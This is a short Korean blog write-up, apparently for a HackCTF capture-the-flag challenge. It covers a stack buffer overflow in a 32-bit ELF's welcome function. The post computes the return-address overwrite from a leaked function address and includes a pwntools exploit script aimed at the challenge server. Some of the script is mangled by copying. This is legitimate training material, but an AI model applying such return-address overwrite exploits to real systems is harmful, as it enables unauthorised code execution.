반응형

32bit ELF FILE이다.

 

 

3개의 함수가 존재한다.

 

main함수

 

welcome함수. bof가 발생하는 함수다.

v1의 위치는 bp-12h이다. ret을 덮기 위해 dummy 22바이트가 필요함을 기억해둔다.

 

 

 

플래그를 출력해주는 함수

 

welcome함수에서 welcome함수의 주소를 출력해준다.

해당 함수의 주소를 기준으로 j0n9hyun함수의 주소를 구해서 ret을 덮어주면 된다.

 

welcome offset 0x909
j0n9hyun offset 0x890

0x909 - 0x890 = 0x79

welcome()의 주소 - 0x79 = j0n9hyun()의 주소

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3008)
 
p.recvline()
 
p.recvuntil("is ")
welcome = int(p.recv(10), 16)
print hex(welcome)
 
 
payload = "A" * (22)
 
payload += p32(welcome-0x79)
 
p.sendline(payload)
 
p.interactive()
 
cs
반응형

+ Recent posts